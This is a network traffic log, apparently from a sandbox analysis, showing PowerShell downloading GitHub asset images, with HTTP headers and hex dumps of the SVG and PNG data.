2024-09-30 13:50:49 UTC	665	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1107 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Thu, 08 Aug 2024 18:12:08 GMT ETag: "0x8DCB7D59E000D29" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:49 GMT Age: 2963658 X-Served-By: cache-iad-kjyo7100133-IAD, cache-nyc-kteb1890024-NYC X-Cache: HIT, HIT X-Cache-Hits: 17738, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 74034cec20adb09308900bea03bb100d2fa270f9
2024-09-30 13:50:49 UTC	1107	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 38 34 34 22 20 68 65 69 67 68 74 3d 22 38 34 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 34 34 20 38 34 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 32 22 3e 0a 3c 72 65 63 74 20 78 3d 22 31 2e 36 36 31 31 33 22 20 79 3d 22 34 32 31 2e 38 30 31 22 20 77 69 64 74 68 3d 22 31 39 38 2e 33 36 39 22 20 68 65 69 67 68 74 3d 22 31 39 38 2e 33 36 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 72 6f 74 61 74 65 28 2d 34 35 20 31 2e 36 36 31 31 33 20 34 32 31 2e 38 30 31 29 22 20 73 74 72 6f 6b 65 3d 22 77 68 69 74 65 22 2f 3e 0a 3c 72 65 63 74 20 78 3d 22 32 38 32 2e 31 39 38 22 Data Ascii: <svg width="844" height="844" viewBox="0 0 844 844" fill="none" xmlns="http://www.w3.org/2000/svg"><g opacity="0.2"><rect x="1.66113" y="421.801" width="198.369" height="198.369" transform="rotate(-45 1.66113 421.801)" stroke="white"/><rect x="282.198"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	49801	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:49 UTC	372	OUT	GET /assets/git-branch-security-2-f6a799957581.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:49 UTC	704	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3404 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Content-MD5: DcgFl9ftmKDLZqzHBwid3w== Last-Modified: Wed, 14 Aug 2024 19:59:55 GMT ETag: "0x8DCBC9BAB1B5B1E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2941009 Date: Mon, 30 Sep 2024 13:50:49 GMT X-Served-By: cache-iad-kjyo7100149-IAD, cache-nyc-kteb1890038-NYC X-Cache: HIT, HIT X-Cache-Hits: 28581, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: c13618c1202a9dc395fc5d96e2147cc5a0983781
2024-09-30 13:50:49 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 38 37 22 20 68 65 69 67 68 74 3d 22 34 38 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 37 20 34 38 36 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 32 2e 30 30 30 32 36 20 30 2e 31 34 30 36 32 35 4c 32 2e 30 30 30 31 34 20 33 33 2e 36 35 39 34 43 32 2e 30 30 30 30 35 20 36 31 2e 31 34 35 34 20 31 32 2e 33 35 34 32 20 38 37 2e 36 32 32 37 20 33 31 2e 30 30 30 31 20 31 30 37 2e 38 31 37 56 31 30 37 2e 38 31 37 43 34 39 2e 36 34 35 38 20 31 32 38 2e 30 31 31 20 36 30 20 31 35 34 2e 34 38 39 20 36 30 20 31 38 31 2e 39 37 34 56 33 30 31 2e 38 30 35 43 36 30 20 33 32 39 2e 35 39 31 20 34 Data Ascii: <svg width="87" height="486" viewBox="0 0 87 486" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M2.00026 0.140625L2.00014 33.6594C2.00005 61.1454 12.3542 87.6227 31.0001 107.817V107.817C49.6458 128.011 60 154.489 60 181.974V301.805C60 329.591 4
2024-09-30 13:50:49 UTC	1378	IN	Data Raw: 65 73 75 6c 74 3d 22 65 66 66 65 63 74 31 5f 64 72 6f 70 53 68 61 64 6f 77 5f 31 37 39 5f 34 30 36 30 34 22 2f 3e 0a 3c 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 20 69 6e 3d 22 53 6f 75 72 63 65 41 6c 70 68 61 22 20 74 79 70 65 3d 22 6d 61 74 72 69 78 22 20 76 61 6c 75 65 73 3d 22 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 31 32 37 20 30 22 20 72 65 73 75 6c 74 3d 22 68 61 72 64 41 6c 70 68 61 22 2f 3e 0a 3c 66 65 4f 66 66 73 65 74 2f 3e 0a 3c 66 65 47 61 75 73 73 69 61 6e 42 6c 75 72 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 31 30 22 2f 3e 0a 3c 66 65 43 6f 6d 70 6f 73 69 74 65 20 69 6e 32 3d 22 68 61 72 64 41 6c 70 68 61 22 20 6f 70 65 72 61 74 6f 72 3d 22 6f 75 74 22 2f 3e 0a 3c 66 65 43 Data Ascii: esult="effect1_dropShadow_179_40604"/><feColorMatrix in="SourceAlpha" type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0" result="hardAlpha"/><feOffset/><feGaussianBlur stdDeviation="10"/><feComposite in2="hardAlpha" operator="out"/><feC
2024-09-30 13:50:49 UTC	648	IN	Data Raw: 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 31 37 39 5f 34 30 36 30 34 22 20 78 31 3d 22 32 34 22 20 79 31 3d 22 30 2e 31 34 30 36 32 35 22 20 78 32 3d 22 32 32 2e 35 22 20 79 32 3d 22 34 38 35 2e 31 34 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 30 35 31 35 37 34 32 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 33 33 42 33 41 45 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 22 20 73 74 79 6c 65 3d 22 73 74 6f 70 2d 63 6f 6c 6f 72 3a 6e 6f 6e 65 3b 73 74 6f 70 2d 63 6f 6c 6f 72 3a 6e 6f 6e 65 3b 73 74 6f 70 2d 6f 70 61 63 69 74 79 3a 30 3b 22 2f 3e 0a 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 2e 34 34 31 31 31 39 22 20 73 74 6f 70 2d 63 6f 6c 6f Data Ascii: aint0_linear_179_40604" x1="24" y1="0.140625" x2="22.5" y2="485.141" gradientUnits="userSpaceOnUse"><stop offset="0.0515742" stop-color="#33B3AE" stop-opacity="0" style="stop-color:none;stop-color:none;stop-opacity:0;"/><stop offset="0.441119" stop-colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	49802	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:50 UTC	365	OUT	GET /assets/illu-ghas-list-84af1f1ce2b8.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:50 UTC	662	IN	HTTP/1.1 200 OK Connection: close Content-Length: 30587 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D5974461CA" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:50 GMT Age: 2337151 X-Served-By: cache-iad-kjyo7100038-IAD, cache-ewr-kewr1740024-EWR X-Cache: HIT, HIT X-Cache-Hits: 28438, 4 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 67bbab8ebe726ebf1c41f8cba155300fc4b47fb9
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 38 00 00 02 58 08 03 00 00 00 b0 ea a6 dd 00 00 01 2f 50 4c 54 45 23 29 30 2c 33 3c aa bb c8 55 60 6b 42 4c 57 ff ff ff 30 37 3f 29 30 37 35 3e 46 73 84 91 3c 44 4d f8 44 42 42 4b 55 4f 59 64 34 3b 43 db 64 0e 25 2c 34 48 52 5c 52 5c 67 88 96 a2 67 72 7c 99 a8 b5 44 4d 56 be be be 3f 48 52 39 41 4a 78 84 90 49 53 5d 4b 56 60 4e 59 64 a2 b2 be 45 4f 58 4c 56 60 32 3a 43 de 42 40 90 9f ac 5a 65 71 80 47 28 30 2c 30 5e 68 72 6f 7b 85 6e 7e 8b 8e 39 3a 69 78 85 3f 2d 33 f1 f1 f1 eb 43 42 97 4e 23 46 51 5c 9a a9 b7 61 6f 7c 52 39 2c 7f 8d 98 6a 79 86 ad 56 1f 81 8e 99 3a 31 2f 6f 7b 86 59 32 35 c4 5d 17 c4 3f 3f cf 61 13 74 36 39 c4 5d 19 6b 77 82 5e 69 74 28 2e 36 9c 3b 3c 69 40 2a 3d 47 51 8a 98 a5 7b Data Ascii: PNGIHDR8X/PLTE#)0,3<U`kBLW07?)075>Fs<DMDBBKUOYd4;Cd%,4HR\R\ggr\|DMV?HR9AJxIS]KV`NYdEOXLV`2:CB@ZeqG(0,0^hro{n~9:ix?-3CBN#FQ\ao\|R9,jyV:1/o{Y25]??at69]kw^it(.6;<i@*=GQ{
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: eb 83 96 2a 68 7f ee 6d 49 e1 79 72 f5 43 a2 58 6b 61 6c 9d 28 84 17 c6 c6 a9 a5 77 8b b3 9d 0d 8c 27 f2 46 0c 6a 21 8c 4c 00 71 05 07 22 95 0a 20 04 c5 b1 52 d9 33 bd 4a 63 03 4b 6f 99 da 6a a1 f5 6f 44 f7 76 d9 54 e5 35 da 28 0f 4d 46 e2 20 5e c5 7b 8b a3 c2 9d 19 88 83 63 bb 02 71 7b 5c 69 a2 ef 0f cf 57 59 99 18 76 0c 10 7b dc 22 e2 21 76 4c 3b fb 23 e5 50 57 54 a6 f3 8a ed d6 3d ae 30 8a 51 de 88 c5 31 d3 5b 3f 3d 9d 60 c4 71 07 21 83 38 a6 43 76 6e 4b 8c 45 58 be c0 9d b7 43 6a e7 5b 7c 80 c4 41 bc 86 f7 17 87 da bb 0c 0c e1 77 1c 53 dd 90 88 11 89 a2 13 26 79 d8 d4 fb ea d8 47 5e 27 c5 81 c6 79 4a cc af ef 86 83 da 52 4f 19 71 ac 41 c3 46 88 23 6f 72 70 8c f3 46 dc f9 b4 25 03 12 15 1c 7f 14 c7 c4 55 23 56 0c c2 75 52 5b a7 0e af 0b c3 4a cd 07 0f Data Ascii: *hmIyrCXkal(w'Fj!Lq" R3JcKojoDvT5(MF ^{cq{\iWYv{"!vL;#PWT=0Q1[?=`q!8CvnKEXCj[\|AwS&yG^'yJROqAF#orpF%U#VuR[J
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: 02 8a 8a 4a 12 11 21 88 03 d8 13 07 20 0e 20 88 03 d8 13 07 20 0e 20 88 03 d8 13 07 20 0e 20 88 03 d8 13 07 20 0e 20 88 03 d8 13 07 20 0e 20 88 03 d8 13 07 50 bb 07 50 12 07 50 3b 00 00 00 00 00 00 00 00 00 3e 7b e7 d7 da b6 0e 05 70 29 e2 3e d4 2e 7a 98 ff 84 9a 62 7c 9d e1 b4 89 67 ee 43 a1 24 84 c0 1a 2e cd 48 c8 56 36 56 18 db 2e 63 df ff 3b 5c 45 39 f6 89 2d db 4d 7a db de 92 9c df cb 62 5b 3a c7 29 d3 2f 92 2c 25 04 41 10 04 41 10 04 41 10 04 41 10 04 41 10 04 41 10 04 41 10 04 41 10 04 41 10 04 41 10 04 41 10 04 41 10 87 ca 78 f5 33 ce ec 27 26 fb f2 73 30 66 04 41 1c 24 c9 20 b3 9f 8d 78 9e 32 82 20 0e 8d 64 b6 6e de b3 45 9a 3c 79 e4 e5 fd 2c 56 c1 49 1d 04 71 68 ac 32 db be 1b b3 67 63 79 a7 b4 34 65 04 b1 13 67 6f 86 ae 38 63 c4 2b 67 66 db 93 Data Ascii: J! PPP;>{p)>.zb\|gC$.HV6V.c;\E9-Mzb[:)/,%AAAAAAAAAAAAx3'&s0fA$ x2 dnE<y,VIqh2gcy4ego8c+gf
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: 70 09 c8 8a 87 a3 a8 12 7b 6c 88 e3 4b 92 bf c2 39 0e 38 d6 aa 98 30 c5 40 9f 5e cd f5 90 65 ac 2a d5 8b 23 a1 d9 d1 23 e0 31 e2 50 fb 54 6e ea c4 71 d3 b8 00 cc c0 c9 97 90 fa 45 89 2b 68 ba f8 ff 3e 2c 3a 07 32 ac 15 07 58 02 67 1c 46 10 22 60 1a 27 6f e1 18 55 80 38 a0 cd 41 74 68 99 5e 39 a1 67 3c 17 11 a5 47 3c 7e 11 0b d2 8a a2 6b 12 72 c8 10 c0 a9 5c 1c 11 9c 83 1a 7e 1e 26 2a 4e 05 8d e2 88 5c d7 95 45 67 49 6c bf 89 a8 30 8e a5 0a 6d 89 c3 b6 59 85 b8 4e 1c 4b d6 22 8e 09 d4 48 06 83 df db 91 e3 aa 38 30 27 71 e8 3c 46 1c 6a ab 0a af 5b c7 f1 e7 c9 89 bb b3 38 cc a7 ad d8 72 cc 11 8e db 20 8e fe 56 f9 20 08 5c d0 8d 2c 0f 8a dc a2 14 ca 84 63 44 9d 55 56 13 e2 6b 73 4a 57 a5 aa 0e c1 bc 72 dd 48 67 80 3b 81 be 44 9e ca 62 68 ba 7c c4 83 ab cb af Data Ascii: p{lK980@^e##1PTnqE+h>,:2XgF"`'oU8Ath^9g<G<~kr\~&N\EgIl0mYNK"H80'q<Fj[8r V \,cDUVksJWrHg;Dbh\|
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: 40 e0 17 e2 e0 ca 21 40 28 cc ed ac 0f ee 8e c5 16 6f a4 75 8d 70 4e dd ee 58 87 37 8a 83 05 86 38 30 5c cf 37 e6 38 44 c7 d8 9b 0b 24 2f fa c5 e3 2b 3b a6 0e c7 51 a0 bf ac f8 5d 69 7e e3 9f cf 6d 5f 56 8c 83 13 50 c7 d9 87 13 18 a7 ec 2b 0e e6 7a f0 c5 14 55 71 00 12 36 bd f1 a2 00 82 65 bc 4d 6b ea b3 9c c8 d9 e8 c0 b1 b0 94 a3 cf f4 19 88 43 23 7a 9b 72 23 69 26 44 71 20 42 9d 84 cb d8 e2 11 91 a7 c5 3e d3 45 fe 06 41 1c 90 43 e3 88 86 c9 51 bc 39 14 47 f9 ee 4c 71 c0 35 bc 39 64 05 73 a0 2f 41 9a d9 f4 03 b2 47 c2 9e 3f 8f 80 9c 0d b5 3a b4 36 86 67 ec 71 58 be d5 9a 8b fb 50 a0 0d 2b 12 91 ac 54 8b 84 c5 ab 91 a4 69 1d 1f be 3b 0c 69 4d 68 a9 f2 b2 ed 6e 05 a4 6d 7f 83 3e 7c cd d8 03 70 5e f7 e7 60 88 11 35 92 f4 83 4c c4 4b 21 7f 7c ec 6e f1 fd d6 Data Ascii: @!@(oupNX780\78D$/+;Q]i~m_VP+zUq6eMkC#zr#i&Dq B>EACQ9GLq59ds/AG?:6gqXP+Ti;iMhnm>\|p^`5LK!\|n
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: dc 87 1b 06 49 98 9a 7b d5 29 0f 3e 00 ae 9d 45 6b d5 e6 52 7c 86 ac 84 d7 f9 53 6b 41 51 87 d0 fa 8a 4b e9 4a 38 a4 f3 53 5f 11 fd 90 03 2a 44 47 ae 7e 1f b9 37 1c 8a 5d 6d 36 9d d2 2f 08 67 63 a7 16 dc ae c5 53 c8 83 8f b5 c2 1f 26 8c 09 e5 9b 85 83 d7 36 41 6d 23 d7 f3 dd c2 73 fa e6 b1 41 b7 3b 2a b5 d6 c7 01 3b 09 ab 91 90 07 97 6a 2f 1c 15 41 fb d4 cc ec 4f b9 b4 33 58 a0 8d 3e 90 6b 90 39 01 6b 23 0c 69 9e 23 2a 78 e9 c4 63 73 92 b4 35 02 f5 54 2a c7 f4 15 e1 a8 ed 9c ba b8 92 33 d3 05 cb de 12 b2 11 41 f7 98 9b 3f dc c6 21 4b c5 6c 15 b6 01 35 71 83 cc e2 5c 23 2a db 19 ad a9 91 fe 41 57 da 58 72 30 f8 36 63 c0 43 7f 26 e5 7a 01 a7 a8 db f0 e4 68 da ea 84 23 ea e7 c4 ad 49 33 4e 87 ac dd fd ff 84 e3 8c e5 a1 de 20 56 cb a0 a3 f5 29 06 d4 a9 48 75 Data Ascii: I{)>EkR\|SkAQKJ8S_DG~7]m6/gcS&6Am#sA;;j/AO3X>k9k#i#xcs5T3A?!Kl5q\#*AWXr06cC&zh#I3N V)Hu
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: e3 b0 8f b9 bc de 7c 64 e7 da 76 e4 06 61 e8 46 96 20 42 20 01 4f 8c 32 23 92 8f e9 ff ff 52 1b e7 4c 4e 2e ea 2a 6d 55 cd 6c cb 79 a8 c4 62 8c 31 c6 05 db 13 14 84 fc b2 e3 a0 a6 f7 47 ac f0 16 c5 f7 2b 71 13 73 76 1c b8 63 c0 40 26 09 f4 01 d8 a3 9f 03 29 11 27 09 cd 85 05 35 7f e6 40 73 00 ec 5d 0a 1b bd 61 69 53 bb 70 ac 88 8c 8d ce c8 62 a8 1c 84 ae a9 9d 22 89 75 e0 04 76 89 89 01 b7 09 e9 25 b4 a2 e9 8e 8e 83 39 1c d3 ed e6 e2 99 a1 eb b2 7c 1c 93 a9 11 e9 79 da bc 0c e8 b5 01 2f 2b 13 f9 98 a2 69 92 c5 1d 8c bc 52 40 04 10 11 8c a3 9d 1c 47 97 95 43 5c 66 60 e0 b3 32 80 87 c5 93 c6 a5 6d 56 25 93 66 2b c1 21 ab 62 b6 5e 2f e6 6c d9 0f a5 61 4a 1b 04 21 ea 6c 75 4f 74 6c 11 49 e0 24 06 d9 14 6d 3b 87 27 d5 4d 03 5c 39 a8 0f f9 75 c7 41 4d c7 59 78 Data Ascii: \|dvaF B O2#RLN.*mUlyb1G+qsvc@&)'5@s]aiSpb"uv%9\|y/+iR@GC\f`2mV%f+!b^/laJ!luOtlI$m;'M\9uAMYx
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: 95 d5 cb f5 38 05 b0 4b e5 58 73 33 c3 d7 18 c0 de 94 96 99 43 fb 1e cb ea e5 f3 4f 1b 32 d3 3a 60 6f e6 9a b9 4c b1 99 f3 92 39 7c 04 3c ac fe f5 fd ad eb 83 1b 2d f3 34 c6 a6 c6 25 b3 05 3c a2 cf be 3b 3c ff 39 74 2f c1 bf 72 ca 3a c7 e6 e6 9a 97 12 f0 cb de b9 b5 a8 0d 44 01 78 66 42 1f 6a 96 3c 34 37 36 48 b0 b1 44 ab a9 f4 41 58 56 82 50 97 a2 45 b1 bb b4 54 58 7a 61 e9 ff ff 0f 9d 4c 4e 3c 63 6e 4d 64 ab bb 65 be 87 ae 99 ce a5 7d 38 df 9e 39 99 c4 67 c6 e2 e2 13 58 03 dc f1 e6 62 41 14 84 c4 7a b0 21 27 20 0a f4 98 28 14 cf 89 c5 fb cc 1a e3 57 97 97 da 18 e4 f1 e9 82 9c 1a 3a b0 0c 52 45 cf 3a 3a 11 d2 2c e3 d8 7d 4a 10 91 93 10 05 6a b7 a2 38 2b ce f2 bb 2b f1 f9 87 41 6a a1 63 b0 46 17 aa 1b af 5f 59 d0 42 49 1d 46 ab 68 34 4d 73 4a fe 82 cd 98 Data Ascii: 8KXs3CO2:`oL9\|<-4%<;<9t/r:DxfBj<476HDAXVPETXzaLN<cnMde}89gXbAz!' (W:RE::,}Jj8++AjcF_YBIFh4MsJ
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: f0 8f 05 3f 31 81 a9 de aa 3c 40 a8 37 17 87 ce ff 44 c2 95 0e 04 6a ab a2 78 4a b4 12 07 6e 4f 5e 55 3c fc d6 ad 12 07 2d 2f 7d 10 29 52 35 fc 15 2e 0b 80 b2 43 a6 35 e2 10 e4 c5 31 65 87 18 a9 b3 8c 06 e2 90 05 a3 09 69 e1 b4 28 0e 94 42 54 73 57 65 36 9b b5 ce 38 b8 37 e2 9b ed 7a 57 29 8e 0d 2f 7e 28 14 cd 38 b7 38 2e 79 2d 63 01 9f 2f de 8e 2f a4 2d cc 25 29 01 ea 8f ad c4 81 02 30 d8 21 66 5b 71 98 45 71 d8 2d c4 61 34 16 c7 43 21 ae 67 e2 e6 88 20 12 c1 5f 2f 0e 28 a7 82 67 36 d9 18 12 56 8a 63 a7 6e c7 2a 1a 73 3e 71 a0 21 ba f8 f1 6d e6 10 fe 3e 0e 52 86 89 f1 85 27 3a 1b 64 1c 28 8e be 86 f4 8e c9 38 06 1a 42 db 65 1c 1d 49 1c d7 b5 e2 d8 16 1f 56 8d b3 9b 28 21 f7 c2 5d 85 38 6e f0 3a 91 c3 8a 70 e6 49 f3 46 d7 63 b8 08 d4 01 30 c5 53 e2 28 71 Data Ascii: ?1<@7DjxJnO^U<-/})R5.C51ei(BTsWe687zW)/~(88.y-c//-%)0!f[qEq-a4C!g _/(g6Vcn*s>q!m>R':d(8BeIV(!]8n:pIFc0S(q
2024-09-30 13:50:50 UTC	1378	IN	Data Raw: ab 44 4d 95 e6 61 f6 fd 5f 69 5b 33 e9 a4 4d fa 9d ee 8f 76 fb f9 e2 a8 1c 1c b0 cd 78 20 26 c3 90 01 f7 3d c4 81 87 0c e5 90 8f 87 0f 38 7b f8 34 04 63 8e bf 4a 90 55 e2 5f 27 0e 9f f5 34 e7 3d 0a 68 77 fd 5f 21 3d 67 7f 1c a3 5f 9d 36 f3 f5 9f 6d 0d fd bf 66 fe e5 f2 19 71 04 b8 d3 ef 22 7d d5 02 b8 8a 73 6d b6 2f c8 5d 83 55 34 e0 36 c6 f0 13 06 53 cc 37 c5 ff 8e 38 68 c4 80 fc 4d c4 61 04 ea 12 70 04 b0 70 bc 77 7c ae f3 b9 5f 7f 00 38 07 37 66 00 e3 5f 25 8e 92 81 3a 2c 6e 99 1b 73 90 38 7e 13 19 d0 fd ea 98 32 fc b3 15 ce ff e2 91 e2 b3 ee 1e a7 df 46 0c 25 a3 91 c0 72 07 de a5 f1 c1 4c 0c 8e c8 cd a3 40 34 e7 a6 18 4f 97 ff 8c 38 1c 97 b0 54 74 5f 46 1c 0c c6 ff 49 1c 0e ab 01 11 a8 e5 2f 12 47 04 b2 5f 7f c1 fd 66 c4 31 bd cf 6d 03 f5 ef 46 1c bf Data Ascii: DMa_i[3Mvx &=8{4cJU_'4=hw_!=g_6mfq"}sm/]U46S78hMappw\|_87f_%:,ns8~2F%rL@4O8Tt_FI/G_f1mF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	49803	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:50 UTC	363	OUT	GET /assets/bg-glow-blue-036b8dc2d1ce.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:50 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1025 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: krqCgZWnLpV3IxBQeb6Sbw== Last-Modified: Wed, 14 Aug 2024 19:50:58 GMT ETag: "0x8DCBC9A6B0331C8" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:50 GMT Age: 1729725 X-Served-By: cache-iad-kjyo7100139-IAD, cache-nyc-kteb1890078-NYC X-Cache: HIT, HIT X-Cache-Hits: 16388, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 104ae789d525ebe429e117308df9ff0780dbf1c1
2024-09-30 13:50:50 UTC	1025	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 01 65 69 43 43 50 44 69 73 70 6c 61 79 20 50 33 00 00 78 9c 75 90 bd 4b c3 50 14 c5 4f ab 52 d0 3a 88 0e 1d 1c 32 89 43 d4 d2 0a 76 71 68 2b 14 45 30 54 05 ab 53 9a 7e 09 6d 7c 24 29 52 71 13 57 29 f8 1f 58 c1 59 70 b0 88 54 70 71 70 10 44 07 11 dd 9c 3a 29 b8 68 78 de 97 54 da 22 de c7 e5 fd 38 9c 73 b9 5c c0 1b 50 19 2b f6 02 28 e9 96 91 4c c4 a4 b5 d4 ba e4 7b 83 87 9e 53 aa 66 b2 a8 a2 2c 0a fe fd bb eb f3 d1 f5 de 4f 88 59 4d bb 76 10 d9 4f 5c 97 ce 2e 97 76 9e 02 53 7f fd 5d d5 9f c9 9a 1a fd df d4 41 8d 19 16 e0 91 89 95 6d 8b 09 de 25 1e 31 68 29 e2 aa e0 bc cb c7 82 d3 2e 9f 3b 9e Data Ascii: PNGIHDRapHYseiCCPDisplay P3xuKPOR:2Cvqh+E0TS~m\|$)RqW)XYpTpqpD:)hxT"8s\P+(L{Sf,OYMvO\.vS]Am%1h).;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	49805	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:51 UTC	366	OUT	GET /assets/illu-dependabot-d98c73cc6724.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:51 UTC	660	IN	HTTP/1.1 200 OK Connection: close Content-Length: 60260 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 19 Oct 2023 22:56:25 GMT ETag: 0x8DBD0F69F216D77 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 4143841 Date: Mon, 30 Sep 2024 13:50:51 GMT X-Served-By: cache-iad-kiad7000143-IAD, cache-ewr-kewr1740048-EWR X-Cache: HIT, HIT X-Cache-Hits: 2465, 0 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 5930b157acdc04a76f25488d22c2fa829e48ef3a
